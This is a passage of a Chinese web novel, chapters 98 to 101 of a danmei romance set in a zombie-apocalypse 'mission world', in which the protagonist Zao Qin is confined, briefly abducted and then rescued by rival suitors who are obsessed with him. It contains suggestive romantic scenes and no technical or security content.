秦金铄控制不住自己的嘴角,笑说:“……挺好吃的。” 枣芩抿抿唇,犹豫一下,还是不想吃别人吃过的。 好倒霉,自己的为什么这么难吃,运气不好。 秦金铄怕枣芩觉得他奇怪,强行挪开落在他身上的视线。 一道冷冽锋芒刺过来。 他抬头刚好对上江士修的眼神,只一眼就挪开,却是从未有过的冷,仿佛在看死人一般。 第98章 第 98 章 迷恋他,欺骗他,引诱他…… 秦金铄本能的警惕起来, 眼睛略微眯了眯,压出戒备的弧度,桌上的氛围变得有些紧绷。 这场看不见的风暴最中间的枣芩却无知无觉, 伸手拿起玻璃杯子喝水。 粉润的唇张开, 将透明杯子送上去, 压平一小片嫩红, 喝完水后舌尖自然地伸出来舔了下唇珠。 他放下沾着水痕的杯子,困惑不解的来回看了两人一眼。 江士修面色如常在斯文的进食, 看不出异常。 “吃饱了吗?”是秦金铄问他。 枣芩点头, 轻轻“嗯”了声,一句“饱了”还没说出口。 熟悉的‘哔哔哔’再次响起, 将枣芩的注意力吸引到了不远处桌子上的黑色传讯机。 他下意识看向了对面的江士修。 江士修仿若没听到这声音,冷淡的脸上一点反应都没有。 倒是身旁的秦金铄脸色变了变,他迈开长腿,几步过去, 垂头不知道在上面看到了什么,眉心陡然蹙起。 看到什么能让他露出这种表情? 枣芩有点好奇, 稍稍够着脖子张望,离得太远,什么也没看到。 很快,他接收到对面江士修落在他身上的目光, 平静淡漠, 目光中并没有警告他的意思。 但枣芩相当自觉,翘着睫毛看他一眼,心虚抿着嘴唇,不用他说什么,已经挺着细瘦腰板, 乖乖坐好了。 江士修嘴角微挑,镜片后垂下的眼睛不自觉泄出一丝温柔,又在秦金铄过来时,转瞬即逝。 秦金铄单手拉椅子靠枣芩更近,凑到枣芩面前,声音放低。 在枣芩有点茫然的表情下,开口说自己要出去一段时间不能陪他,又解释了原因。 宋呈正在以一种几乎要把基地翻起来的架势找枣芩。 秦金铄如果消失时间过长,和以往的他太不同,会被怀疑,引起一些不必要的麻烦。 而且今天会重点排查他那边,他必须出现。 ——可枣芩作为被寻找的人,只会希望自己快点被找到。 秦金铄也反应过来了这一点,沉默两秒。他轻嗅到近距离下枣芩身上淡淡的香味,隐隐透着红的脸颊。 他应该起码近一两天不能见枣芩了。 明明之前也是远远看着,现在却只觉得难熬。 他离开,就只剩下枣芩和江士修两个人,就像江士修前天面对的局面。 江士修此时靠在椅子上,冷静看着他,甚至有些轻蔑意味。 秦金铄下颚紧紧绷着,压下心头的错乱情绪,身体转了个方向在枣芩耳边开口,没让江士修看到他在说什么。 嘴唇似有若无擦过枣芩淡粉色的耳廓。 枣芩过分敏感,耳朵连着腰背麻了瞬,眉心难耐地蹙了下,正要躲开,秦金铄察觉到,大手捏住了他的胳膊,遏制住了他的去路。 枣芩还没来得及不悦,就听到秦金铄在他耳边开口。 他表情微愣一瞬,随即赶忙按捺住自己的表情。 秦金铄说完,松开枣芩的胳膊,指尖颤了颤,“那我要走了。” “嗯……好,你好好吃饭好好休息。”枣芩倒不是多想关心他,只是觉得秦金铄告诉他一些事情,他多少应该回报一下。 “想抱你一下。”秦金铄得寸进尺。 枣芩愣了愣,懵懵说:“抱我?” “不行吗?”他流露出一点失落,这失落是真的,他真的想抱一下枣芩。 枣芩想了想,“我没有说不行。” 灼热的温度贴过来,两条胳膊箍着枣芩柔软的身体,枣芩下意识手按住他两边肩膀。 秦金铄一只手掌按在他背上,头也凑到枣芩脖颈间,枣芩被他过于亲密的拥抱搞得往后缩了缩,简直感觉整个人都被他搂入怀里了。 他拍了拍秦金铄的肩膀,示意够了,对方鼻尖蹭到了他脖颈的皮肤,似乎在他颈窝里猛吸了一口。 枣芩不敢确定,只是小脸皱了下。 秦金铄顶着一张红脸,三步一回头的离开。 秦金铄走了,枣芩才想起这里还有另外一个人,脸上不由得烧了烧,悄悄离江士修远了些,坐到几步远另一张椅子上。 希望这人最好不要注意他,并且快点离开。 事不如人愿,江士修非但没快点走,反倒是起身朝他走来。 枣芩:…… 怎么过来了? 他不由得往后缩缩肩膀,面对这个人下意识的想逃。 江士修显然捕捉到了他的动作,居高临下站在他面前,“躲什么?” 枣芩抬着脸摇摇头,面色还算平静,抖了又抖的睫毛暴露了他的情绪。 “没有躲?” 他没等到枣芩的回答,停顿几秒就转了话题,口吻好像也跟着温柔了下来,变得很像之前。 江士修:“腰难受吗?” 枣芩这个被他骗过的人,只觉得他又要哄骗自己,心里拉起警戒线。 余光瞥到自己坐过的单人沙发,枣芩随即想明白了他的意思。 或许是想试探自己昨晚有没有待在沙发上? 非常有可能。 枣芩这么想着,迟钝地点了点头。 虽然一个人坐还算宽敞,但毕竟是被绑住固定着坐一夜,一定会很难受,屁股都要坏了。 枣芩不由得心里感激起了秦金铄,多亏了他,自己的屁股和腰不用遭殃。 江士修宽大骨感的手忽然伸过来,握住了枣芩的小臂。枣芩无措的被他拉着从椅子上站起来,被迫跟着江士修迈开步子。 江士修走的并不快,和枣芩的步子持平。 枣芩不知道他要带自己去哪里。 很快,枣芩发现了不对劲,有了种不好的预感。 ——他被江士修带着来到了昨晚睡觉的那扇门前。 …… 完了,枣芩记得里面的床铺自己没收拾。 “我们去沙发上聊会天吧。”枣芩又急又快的小声说,生怕他不同意,甚至想通过把自己的手臂拉回来,而阻止对方的行动。 可他的行动于事无补,江士修已经来到门前。 指纹按了上去,一声细小的机械声后,门一拧,开了。 枣芩呼吸停了半秒。 江士修开门的瞬间就看到了一片狼藉的床,床单像是被人抱着被子滚过,留下一片褶皱。被子被堆成一团,一角垂落在床边,控诉着它经历过什么。 也不知道是哪个小坏蛋干的。 江士修转向枣芩,枣芩正怯怯斜着眼睛偷看他,被他一看立马收回视线,明显的做贼心虚。 江士修心下如同被无罪释放般松了口气,随后发觉,他没有因为欺骗而生气。 只有庆幸。 还好枣芩没有被绑了一晚上,还好他没有难受。而是舒舒服服在床上睡了一晚,还把床单弄得皱巴巴。 帮枣芩按摩揉腰倒是省了…… 空气中死寂一般的沉默。 枣芩再次抬眼偷看江士修,生怕他一气之下态度大变对自己做什么,细白手指攥了起来。 “我、我不是故意骗你的。”枣芩脑袋飞速运转,都快要冒烟了,想解释,“是因为、” 枣芩自己都还没有完全想好,江士修已经替他想出来了,“秦金铄让你那么说?” 枣芩一顿,没否认。 “他怎么和你说我的?今天又跟你说了什么,你让他抱你。”江士修看似平静,可视线死死凝视着他,想从他这里追问出答案。 短短一天,秦金铄就让枣芩对他放下戒备心。 秦金铄显然给枣芩树立了一个新的敌人,通过‘暗地’放开枣芩,让他睡房间来施恩。 再让枣芩和他一起欺骗江士修,让枣芩觉得秦金铄是好人,是可以帮他的人。 而他江士修,是站在他们对立面的恶人。 枣芩抿住唇瓣,什么都没说。不置可否,等于默认了。 江士修没为难他,加剧自己在他心里的坏印象。 枣芩闭了下眼,只希望秦金铄不要怪自己。 江士修毕竟不会对他做什么,而自己呢,江士修真的可能对自己做点什么。 他们好歹是一伙的。 不宽敞的房间内,枣芩看着乱七八糟的床,都不好意思坐下。 江士修知道他们骗他了也没反应,不知道在想什么,或许是心情很好。枣芩只能想到这个理由。 他不想放过这个机会,试探着问:“你这么久没来,没事吧?” 感觉自己的意图太过明显,他又快快补充,“秦金铄说,他们会把你抓起来打……” 没有人教过枣芩,但枣芩就是好像天生知道这个时候该怎么说。 江士修深深看了他几秒,才说话,“没事。” “真的吗。”枣芩问。 “嗯。” 可恶,话怎么这么少,就不能展开讲讲吗? 比如说讲讲阴谋诡计,讲讲童年阴影原生家庭,讲讲为什么要干坏事,丧尸病毒到底是怎么一回事。 和秦金铄简直是两个极端,一个话多到烦,一个多说一句话好像会死。 枣芩都没法往下问了,小脸憋了憋。还是等着秦金铄回来,从他嘴里套比较实际。 他不想问了,江士修却开口说了,“那天有人看到我去找你,他们查了我当天的行动路线。我当天都在忙,而且都有两人以上验证,也有不认识的人可以证明看到过我。” “你说,他们接下来还会怎么办,怎么找你?会放弃吗?”江士修盯着枣芩,低声问:“你希望他们快点抓住我吗?” 臭不要脸,你说呢?? 枣芩也只敢在心里发泄一下,现实中做出一副我听不懂,我好害怕的笨蛋样子。 枣芩眨眨眼睛,没点头也没摇头,嗫嚅一般弱弱说:“你不欺负我,我就不希望你被抓。” 江士修喉结滚了滚,镜片下的眸色晦暗不明,他承诺说:“嗯,我不欺负你。” …… 话锋一转。 “你以后要有点分寸,别随便靠别人那么近。” 枣芩看他的眼神中有些不解,眉心略微蹙了下,忽然朝他靠近两步。他们本来就近,走了两步就更近了。 枣芩还在抬着琥珀眼,唇缝自然地微微松开,小声说:“这么近可以吗?” 他脸上是很单纯的询问。 江士修呼吸在不经意间漏了一拍,开始乱了,连他自己都没察觉。只是代入秦金铄和枣芩这个距离,冷静的说出,“太近了。” “噢。”枣芩退开自己的身体,转身进屋子里了。 江士修的呼吸才得以自由,他理性的发觉,周遭还残存着枣芩的气味,和那天他住所的味道一样,香的,很缠人。 他有一瞬间在思考,枣芩是不是在勾引他。可这念头很快随着枣芩离开的身影飘散开,变成了一种自己都认同的自作多情。 枣芩怎么懂这些? 他哪怕和男人同居,哪怕在两个男人之间游走。但不妨碍他确实很单纯,那些都是别人单方面迷恋他,欺骗他,引诱他。 包括江士修自己也是。 他感觉自己似乎,也想这么做了。 第99章 第 99 章 是痴汉变态虫豸 枣芩不知道外面是白天还是夜晚, 直到自己有些困倦,通过自己的生物钟判断出应该天黑了。 他捂着唇,没忍住打了个哈欠, 一层水雾立刻跟着这个哈欠浮现在眼底, 琥珀色眼瞳有些湿漉。 枣芩用力眨了眨, 还是没有成功驱散想睡觉的欲望。 江士修:“睡吧。” 枣芩看向他愣了下, 见江士修转身要出去,压住要上扬的嘴角, 说:“嗯, 晚安。” 门一关,枣芩浑身软绵绵没了骨头, 往后倒床上,脱了鞋,闭着眼睛蠕动进被子里。 最后的意识提醒他,还没有洗澡。 可是枣芩实在不想起来了。 他应该不脏吧, 他没有出外面去,在这里连个灰尘都没有, 洗不洗都一样。 做了会思想斗争,枣芩睁开眼,在被子里脱下裤子上衣,用脚尖勾着裤子送到上面。 如果就那么踢下去, 那第二天不用说, 肯定惨兮兮地躺在地上。 手里抓着衣服,枣芩一边手肘撑着身子,伸出另一只胳膊,准备放到旁边的床头柜上。 那上面什么都没有摆,刚好合适, 枣芩昨天就是放这里的。 细小的开门声突然响起,枣芩下意识转头看去。 江士修开了门,卷着袖口的小臂单手抱着被褥,握着门把手的手不可控制发紧,青筋悄无声息绷出。 枣芩并没露出多少。 只有半片柔白圆润的肩头,藕般的手臂,以及略微看向他懒懒的眼睫。 都没两秒,他就惊慌丢下衣服,通通都缩了回去。 像只被他吓到的白猫,还发出了一声小声的抗议,多得什么都没了。 这屋子狭小,地铺在床边不远被铺下。 枣芩被他搞得一点睡意都没了,背对着人咬住下唇,听着江士修带来的声响,心头一哽。 怎么就进来了?怎么没走呢? 本来枣芩都要睡着了,现在睡意被吓跑一半,他又没法像对待秦金铄一样说出来。 片刻后,江士修关掉灯,好像躺下了。 枣芩想最后挣扎一下,慢吞吞转了个身,讷讷开口:“睡地上很硬吧,会睡不好的。” 黑暗中,江士修枕着自己的手臂,睁开清明的眼,看向看不见的天花板,不消停的胸腔连带着呼吸细微震颤,“……嗯,有点。” 枣芩窸窸窣窣的坐起身,往下看,迫不及待道:“那你回去睡吧,我自己真的可以,我昨天也是自己睡的。” “……” 江士修沉默了,“嗯。” 枣芩等着他走,结果这人一点要走的动静也没有。 “我要洗澡了。”枣芩再次开口,虽然声音小,但赶客的意思已经足够明显。 江士修:“你担心我看?” 枣芩真无语了。 分明是江士修淫者见淫,他哪里有提到看不看的。 枣芩闭上嘴巴,仗着黑暗,白他一眼,躺了回去。 地上飘来一句,“我不看。” 枣芩最后还是摸黑进了卫生间。 卫生间很小,连干湿分离都做不到。 摸黑洗怕滑倒,枣芩进去后才小心翼翼开了条缝,伸出一只手去开灯。 刚开始淋浴出的是冷水,枣芩缩站在角落等着热气缭绕,温度差不多才开始洗。 水珠顺着锁骨往下滑,一会微微鼓,一会往里陷,一直辗转到了肉粉色的膝盖处,不慎混在其它水中消失不见。 热水浸湿皮肤,在卫生间灯光下显得更白,水润反着剔透的光。 热水澡让原本的睡意复苏。 枣芩出了卫生间,从床脚滑进了被子里,没多久就迷迷糊糊睡过去,依稀听到江士修也去洗澡了。 屋内的两个人形成反差。 一个陷在柔软枕头里睡去,一个精神亢奋过度、心率失衡。 骨节分明的手撑在布着水汽的瓷砖上,一阵喘息声后,他额头贴在墙上,心里计算着枣芩的身高位置。 鼻尖萦绕的好闻气息,为他的幻想赋能,为他的邪欲添砖加瓦。 热水早就没了。 江士修皮肤表面低温,可他知道热度还在源源不断往外冒。 出了卫生间,他捡起枣芩丢在床尾,又被他睡梦中嫌不舒服踢下床的浴袍。 遏制不住的,在没人看得到的黑暗中,埋头进去,深吸。 这还是他吗? 他一直都认为自己理智自持,从没怀疑过这一点。 现在在干什么? 这举动,明明就是与他毫不相干的痴汉、变态。下贱的阴沟虫豸,被看不上的失败者,才会做出闻别人穿过的浴袍,这种望梅止渴的行为。 好恶心。 好香。 秦金铄双臂环在胸前,目光炯炯盯着天花板,睡不着。 因为最近与平时不同的怪异表现,让普通人朋友觉得不对劲,但好在有人给他打掩护,他也表示自己身体不适。 他确实被怀疑了,可怀疑名单人又不少,总不可能盯着他吧。 他不仅没时间,明面上也和枣芩没什么接触,仅仅两次,他记得很清楚。 枣芩和楼里小卖部的人接触比他多多了。 虽然有人通知他不要轻举妄动,秦金铄还是按耐不住自己。 他就看一眼。 秦金铄下意识开了大灯。 实验厅空荡荡,沙发上没人。 他走出两步,又弯回来关上大灯。 实验室依旧有些小灯,稀疏分布,没多明亮。 他迫不及待快步走向房间门,怕吵醒枣芩,刻意放轻脚步,导致有些蹑手蹑脚。 指纹按上,他拧开门。心跳如鼓的声音,他都怕吵醒安然睡觉的枣芩。 光线随着门缝隙扩大漏进去,窄窄晕在地面。 秦金铄一怔,骤然拧起眉。 就在枣芩的床尾,似乎有一个人的轮廓,跪在那里。 秦金铄眉头拧的更紧,在犹豫是不是枣芩在那里放了东西,看起来像人。 那身影却忽然动了。 江士修泰然自若站起身,回到自己的地铺。 浴袍在枣芩身上宽大,在他身上正合适,而除了他,谁都不知道这浴袍经历过什么。 “你马德!你、”秦金铄脱口而出脏话,又赶紧压下自己的声音。 他半天才反应过来自己看到了什么,哪怕已经看到了,还是不敢相信。 江士修这狗,居然! “嗯……?”哼哼唧唧的声音里充斥着不耐与郁闷,含糊问:“你们干嘛呀?” 两人心跳都顿停一瞬,朝枣芩看去。 枣芩迷迷糊糊睁开眼,朦胧的眼睛像是没醒透,白胳膊伸在外面,手指蜷了蜷,感受到冷意,把胳膊缩了回去。 “芩芩。”秦金铄放低声音,说了句废话,“我吵醒你了?” 枣芩默了默,侧枕在枕头上,“嗯,我都醒了……我好像没睡多久,今天本来就很困,也没睡好……” 像是有点恍惚,他闭上了眼睛,嘟嘟囔囔的说话,“我都不知道我到底睡没睡,嗯……好像没睡。脚上的水都还没干……但我不知道你什么时候来的,应该也睡了一下下。” ………… 秦金铄很想过去看看枣芩,但现在并不合适,轻声哄,“芩芩你继续睡吧,我们都出去,不打扰你睡觉了。” 枣芩看了他一眼,有点湿的脚在床单上磨了下,“嗯,我其实一个人就睡,就好。” 他语句有点乱。 很快两个人都出去,屋内重新陷入安静与黑暗。 枣芩翻身抱住被子接着睡,含糊说了句,“讨厌。” 屋外两人沉默许久,江士修眼镜已经戴了回去,仿佛变回了那个冷静理智的江士修。 面对秦金铄的欲言又止,以及几分扭曲抽搐的表情,他倒是一点不心虚。 “他同意了吗你就、”秦金铄实在说不出口,他没想到江士修这种人居然有这种癖好。 枣芩本来就在这里睡不好,江士修居然还这么对他。 真是可恶、恶心至极。 江士修没理会他,喉结压了压,径直离开。 “猥琐……”秦金铄曲膝跌坐沙发上,手撑着额头,闭上眼深深出了口气。 他见过枣芩的脚,他当时根本没有乱七八糟的想法。 当然,他现在也没有! 他又没有恋足癖。 秦金铄觉得自己属于那种包容度比较大的人。 平时他不会对脚有什么兴趣,但如果枣芩躺在床上,真要翘着脚伸到他嘴边,他也能接受,握着亲一亲什么的。 他主要想看到枣芩因为他而开心的表情。 其实枣芩什么表情都挺好的,被吵醒时虽然他也不想,但又觉得很可爱…… 靠,脑子乱了。 秦金铄往沙发一靠,感觉又要白天才能睡着。 “芩芩!” 有人急切叫着他的名字,甚至还在晃动他的身体。 枣芩再次被吵醒,他手臂被握着往起抱,秦金铄拿着衣服在往他身上套。 枣芩心里一下憋闷得除了生气,生出了委屈的情绪,还能不能让他睡个觉了,“你到底要干什么啊?!” “江士修被抓了。”秦金铄边给他穿上衣,冷静地说出这句话,“你乖乖跟我走,好吗?” 枣芩听到他的第一句话,呆滞两秒,立刻清醒,像是现在告诉他任务马上要完成一样清醒的程度。 被抓了? 枣芩顺着他的动作,乖乖地伸胳膊,裤子自己穿好,很配合地起了床。 秦金铄见他的态度,眼眸微动,不由得松了口气。 他略弯腰,笃定说:“芩芩,你不会过得比之前差。” 枣芩被秦金铄拉着手臂站起来往外走,他忽然停住。 秦金铄吞咽唾沫,回过头,“怎么了?” 枣芩抬眼看他,语气中有几分怯,“那我们要去哪里?” 人面对未知的东西,害怕是再正常不过的。 秦金铄捏了捏他的手安抚,“别的基地,等我们过去一定已经安排好了,什么都不用担心。” 枣芩咬着嘴唇,“真的吗,去了那里会不会有人欺负我们?” 这种情况下,秦金铄还是没忍住被枣芩的问题逗得笑了下,“没人敢欺负你。” “噢……那就好。” 两人一同出了房门,整个实验厅内有种风雨欲来的安静,或许是枣芩的心理影响,他总感觉不知道那一扇门会在下一秒忽然打开,然后宋呈或者褚风,就会出现在他面前。 他环顾周围,视线定在一处又迅速挪开,晃了晃拉着他走的秦金铄的手,“等等……我能不能喝水啊?好渴。” 秦金铄停住脚步,拧眉抬头看了眼头顶,没怎么犹豫,松开枣芩的手,转过身对他说:“在这等一下。” 他快步走去拿水,饮水机里的水都不知道多久了,好在柜子里存了不少矿泉水,他打开柜子。 脑后猛然一阵剧痛。 秦金铄脑中嗡的一声,眼前发黑,神经一阵剧烈的震颤。 枣芩手中举着500ml厚实的玻璃烧杯,手臂还悬着,见他缓缓转身回头,眼神不禁慌乱颤动,漂亮的脸上好像出了一层薄薄的汗,一直洇到鼻尖。 第100章 第 100 章 得救的人质 枣芩也没想到, 这东西看着这么厚,他也用了很大的力气,竟然没能把秦金铄砸晕。 简直就像练过铁头功。 枣芩被绑着塞进驾驶位后座, 嘴也被黑色布料蒙住, 在脑后打结。他雪白额上的汗浸湿几缕碎发, 衬得有几分孱弱。 确实是一副被绑架的画面。 只是他眼中没有被绑架的人会有的恐惧, 还在惊讶地睁大眼睛,透着玻璃打量外面。 借着车灯的光, 他能看到他们现在在一个地道中, 同时闻到股属于土地、冷冷的闷涩味道,以及车辆的汽油味。 混杂在一起, 并不好闻。还让枣芩头有点晕,他眉心禁不住蹙了下。 抬眼的一瞬,车内后视镜中,驾驶位上的男人正在斜着眼睛看他。 在枣芩与他对视上时, 他眼中闪过一瞬的无措,很快挪走视线, 拧开矿泉水喝水,像刚刚只是不经意看了枣芩一眼。 枣芩并不认识他,那对他来说,是张完全陌生的面孔。 可能就是给秦金铄他们通风报信的人, 就算不是, 起码也是一伙的。 1v1败。 2v1更是不会赢。 如果就这么下去,他们或许会悄无声息地通往基地外,到时候他完成任务就更难了。 他不想跟着秦金铄去别的基地。 他好不容易来到首城,宋呈又抓住了江士修,任务成功正触手可及。 而且按照秦金铄话中的意思, 要去的那个基地等级低于他,要听他指挥。那他们知不知道自己任务的答案都另说。 他不能离开这里。 身后的后备箱被“砰”关上,车身仿佛都随之晃了晃。 秦金铄开门上车,坐在枣芩身旁关上门,目光冷冷对着前方。他呼吸声粗重,如同某种野兽喉中发出的声音。 “走。” 他说完,车就开动了。 秦金铄后脑还在阵阵作痛,枣芩看似柔软白瘦的手臂不是没力气。他用了最大的力道,一点余力都没留,一下都没有犹豫。 直到现在秦金铄眼前都有些发黑,如果不是强撑下来,或许已经当场失去意识。 此时此刻,看着枣芩,他那根名为情绪的弦再也撑不下去,摇摇欲断。 秦金铄单手从枣芩背后制住他的腰,提前阻止他往车窗的方向退缩。咬着牙凑到枣芩脸旁,一错不错盯着他,眼里含着委屈。 枣芩的嘴被他蒙住,只剩下一双琥珀眼还露着,见他凑过来,下意识躲开他的视线。 眼中足以表达出他的抗拒。 秦金铄心里酸麻,说话像从胸腔中挤出,几乎用气音,“怎么这么狠心——” 他知道自己没资格怨什么,枣芩本来就是被骗来的。可是他心里难受,控制不住。 枣芩是不是一直都把自己当做控制他的坏人,所有的相处都是虚与委蛇,所以才能做到毫不留情、下手果断。 “你知不知道我疼不疼……”他说着,想到了什么,忽然心情变好了些,泄了口气,“但没事,我们要走了。” 枣芩脸侧有处不知道怎么造成的红痕,大概是不小心弄的,秦金铄看了几秒,没忍住伸手去摸了下,眉头皱起。 单手把闷着枣芩脸的黑色布料给解开,这其实是他放在地下房间衣柜的一件黑t,还没穿过。 当时一气之下,脑后的疼痛都仿佛被搁置在一旁,整个人像团熊熊燃烧的火。 他快步冲进自己的房间,拿来绑带和衣服,抓住满脸慌张、正在反复按密码的枣芩,绑了人扛走。 他们上次吃饭,离开前,他凑到枣芩耳边告诉了他小房间的密码。 枣芩似乎以为同样也是别的门的密码,居然按了那个密码。 门自然是开不了的。 枣芩的下半张脸被闷得湿红,靠得太近,软红唇缝往外冒的热气,秦金铄都能感受到。 枣芩张了张嘴,没有破罐破摔地骂他,而是抿了下嘴唇,小声问:“那…还疼吗?” 在顺着他前面的话说。 秦金铄沉默了片刻,火被熄了个干净,闷声:“嗯。” “对不起。”枣芩抬眼观察着他的表情,停顿了下,说:“我只是太害怕了。” 秦金铄:“怕?难道不是想走吗。” 把他打晕,枣芩就可以用他告诉他的密码离开。 枣芩头越来越低,低得看不到脸了,本就纤瘦的身体显得更脆弱。秦金铄忽然生出了心疼。 反正人已经留在他身边了,还说了对不起。 “我不属于这个世界,我很害怕……” 枣芩垂着眼盯着自己被绑着的手腕,手指攥着,心里寻思着应该和宋呈要几个攻击道具才对,全都是防卫道具根本用不上啊! “我留在这个世界会死的。” 秦金铄听到他说‘死’,太阳穴跳了跳,“不会的。” “……你们可以接着离开,我不会暴露你们,直接把我丢在这里就可以,我自己走上去。行吗?”枣芩提议。 秦金铄把他搂过,精健手臂从他膝弯下穿过,轻而易举把错愕的枣芩抱在自己腿上。 把他的挣扎全都桎梏。 秦金铄一个字拒绝,“不。” 他把束缚枣芩手腕上的绑带也松开,随手丢在一旁,捧着枣芩的手看了看,并没有留下痕迹才放下。 “我到时候会让你完成任务的,不会让你死,只是多留一些时间。” “你回去不也是待一段时间,就要去下一个世界吗?” 枣芩:…… 枣芩竟无法反驳。 他犹豫一小会,“要到什么时候啊?” 明显有点妥协的意思了。 秦金铄挑了下眉,缓缓凑近枣芩脸侧小小的红痕,高挺鼻尖碰了碰。 路是缓缓上坡的,如果不是刻意注意着,都无法察觉。 车停下,一直在驾驶位充当隐形人的男人下车,开了道门。 随着门朝两侧打开,周遭明亮些许。 往外依旧是封闭空间,像个私人车库,细弱光线从卷闸门的方向漏进来。 枣芩反应过来,原来已经是白天了。 车又开了一段,男人才下车手动拉开卷闸门。 属于大自然明亮的太阳光挥洒到枣芩脸上,他眯了眯眼睛适应光线。 抱着他的秦金铄贴他很近,以至于枣芩清晰感受到了,他胸腔内陡然剧烈跳动起来的心脏‘砰砰砰’,简直要跳出来了。 好像是真的。 枣芩愣了下。 随着两声巨响,车往前一歪。 枣芩若有所觉抬起头朝前看去。 秦金铄抱他抱得更紧,耳边气喘过度,“啧”了声,语气是对自己的嘲弄,“芩芩,我好倒霉。” 不远处,严阵以待的车辆遍布,早已等待多时,黑洞洞的枪口攒动,正对着他。 不。应该说是另外两人。 他鼻尖抵在枣芩颈侧的皮肤,眷恋地嗅闻,后脑开始一阵阵疼,有点扛不住,“我找到你的时候,你还会记得我吗。” 明明马上就要成功了,成功的奖赏也不过是短暂的相处。可就连这也得不到。 他忽然很后悔,最后不该给枣芩留下的是这样的记忆。 迟来的晕眩让他头脑发昏,光线都成了攻击他的利器。 薄唇碰在枣芩脸侧小小的红痕上,也是为他给枣芩带来所有不好的记忆,秦金铄低声道歉,“对不起啊。” 枣芩敏感地耸了下肩膀,细微颤抖,躲开了他的唇。满心满眼在眺望举着枪朝他们走来的小队伍。 仿佛即将得救的人质。 枣芩被宋呈抱进车后座,喝了他递过来的水,又咬了口送到嘴上的面包。 进来前他看到江士修也在外面,但前后都有人控制着他。 秦金铄看到江士修后,瞬间明白了什么似的,口不择言地对着他骂起来。 江士修面对他的愤怒,依旧面不改色,倒是很平静。 不得不说,枣芩被宋呈抱出来、被阳光温暖地照在身上时,居然久违的都想掉眼泪了。 明明也没多久。 他差点以为他真的要被带到新基地去,离开触手可得的结果,去等待一个不确定的期限。 地道并不长,他们出来的地方距离基地也不远,走马路,没一会就回到了基地。 枣芩换了身干净衣服,光脚盘腿坐在宋呈房间新放的地毯上,半趴靠在桌子边,单手拿着勺子吃了勺粥。 粥黏糊糊的,有点甜,他舔了下唇。 听到开门声,就见宋呈回来了。 枣芩迫不及待放下勺子,抬头仰视,睁大眼睛问他,“你刚刚是不是去见他们了?” 宋呈是趁他洗澡的时候出去的。 “嗯。”宋呈确实去了,他以为能在枣芩洗完之前回来。 脱了外套,生来冷淡的面上没显出太多情绪,让人看不出背地里,他是怎么急切寻找枣芩的,又是怎么下定决心,在找到枣芩后,先留在这个资源贫瘠匮乏的副本。直到能将枣芩带离出去。 宋呈坐在枣芩身边,身型比枣芩大了一大圈,他像是随意一般,骨节分明的手拿起勺子送进嘴里喝了口。 很甜。 转头对上了枣芩略有点呆滞的表情。 枣芩哽了下,没说出来。有更重要的事情要问,他按住宋呈还要继续喝粥的手,阻止他的动作,“你先别吃了,他们说了吗?” 宋呈视线在他手上停了瞬,没动,“什么。” 枣芩看着他,顿时无语住了,歪头重复他的话,“什、么?” 宋呈非要带他一起进副本,说他什么都不用做,无痛通关,现在问他“什么”? 他一下没忍住,翘着眼睫,怼了句,“你还知道什么?” 宋呈面对面看着他,嘴角微不可察扬起一点,“记得你说第二天会来找我,抱我。事实上你去找了别人。” 还被骗下药,关在地底下了。 枣芩收回手,自己也想到了后续,脸上稍微热了热,“……别岔开话题。” 片刻后。 枣芩发觉不对劲,眉心蹙起来,“你不会忘记我的任务了吧。” ‘任务’两个字一出,宋呈微怔,眉头似乎也皱了瞬。 他盯了枣芩好一会,想到什么,喉结往下压了压,怀揣着一个念头,他开口说:“还没问出来。” 枣芩不满地抿着嘴巴,“我就知道。” 他略微起身,张开双臂敷衍地抱住了宋呈的脖颈。 几乎是下意识的反应,还在怔愣中的宋呈手按在他窄瘦的腰身。 枣芩咕哝说:“现在抱了。” 门被一道急促力道推开,发出的声音很大,让人怀疑会把墙上的石灰粉震下来的程度。 枣芩扶着宋呈的肩膀转过头。 身型高大的褚风站在门口,单手扶着门框,胸膛起伏。隔着距离都能看到他眼下青黑,眉眼乌压压的一片沉郁。 半晌,他嗓音沙哑喊了声:“芩芩。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 100-110 第101章 第 101 章 恢复记忆的呈 褚风的状态看起来很差。分开后也没几天, 他并没来得及变瘦、或者胡子拉碴。 但那种遭受心理折磨的消耗感,从他身上由内而外散发出来。 枣芩和他大眼瞪小眼几秒,都没反应过来怎么回应。 他那张依旧桀骜利落的脸上, 原本因为没睡觉而暗沉的眼圈, 逐渐肉眼可见地泛红。 配上那对下三白眼, 他面部绷着, 呈现出不协调的委屈意味,直直地朝枣芩刺过来。 枣芩哪里见过褚风这个样子, 顿时心里一惊, 竟然生出点心虚,咽了口口水。 下意识起身却因为宋呈的桎梏站不起来。 宋呈略抬眼看他, 鼻骨高耸,眼窝低于眉骨,眼睛在隐隐绰绰的阴影中。 有种只能看到他的专注,仿佛褚风压根不存在。 枣芩忙低声从牙关中挤出三个字:“松开我。” 宋呈这时倒是听话得很, 随即就松了手臂。 枣芩尽量让自己看起来没那么心虚,那样的话好像他和宋呈真的做了什么似的。 可是就算他和宋呈做了什么, 他们在这里也是婚姻关系。 算了不想这些。 他眼皮跳了跳,刻意不慌不忙地远离宋呈,收回撑在他肩膀上的手,站起身拍拍自己的衣服。 枣芩准备若无其事喊一声褚风, 算是回应。 才刚起身, 身子还没站稳,他已经陷进一个颤抖的怀抱中。 耳侧呼吸声粗重用力,对方的双臂紧紧箍住他腰背,找回丢失的宝物般,要把他按入肋骨里。 枣芩都被迫微仰起头。 埋在他颈窝的人垂头紧闭眼, 深吸了口爱人干净的气息,随着一呼一吸,紧绷了许久的心弦终于松弛下来。 “芩芩,芩芩……”和喘息声一起的是低哑声音,后背揉按的手。 枣芩怀疑他没怎么喝水,嗓音听起来就很干涩。 他心软地由着褚风抱,由着他搓磨,忍住后背的痒意,想出声安慰他几句来着,忽然鼻尖耸耸。 琢磨一会,才开口:“你没洗澡啊?” “……” 褚风身体僵了瞬,硬是没舍得松开枣芩。 好一会,褚风才低声道:“不洗不许抱。” 这是枣芩立的规矩,不洗澡也不能进被子,但是只作用于褚风,枣芩可以忽视这条规则。 因为枣芩不怎么出汗,出门也不多。 “可是我已经抱了,该怎么办?” 他嗅闻着枣芩身上陌生的沐浴露香气,他能轻松分辨,其中本就属于枣芩的味道,他忽然感觉自己矫情起来,心里很不是滋味。 不该这样,不该有属于其他的味道。 枣芩没回答他,他手臂略微放开,低头看枣芩。 依旧漂亮得很。 枣芩皮肤白里透红,看不出被绑架过的痕迹。睫毛密匝匝,轻飘的小扇子般扇了两下,咕哝语气中含着点嗔怪,“服了,我刚刚才洗完澡…” 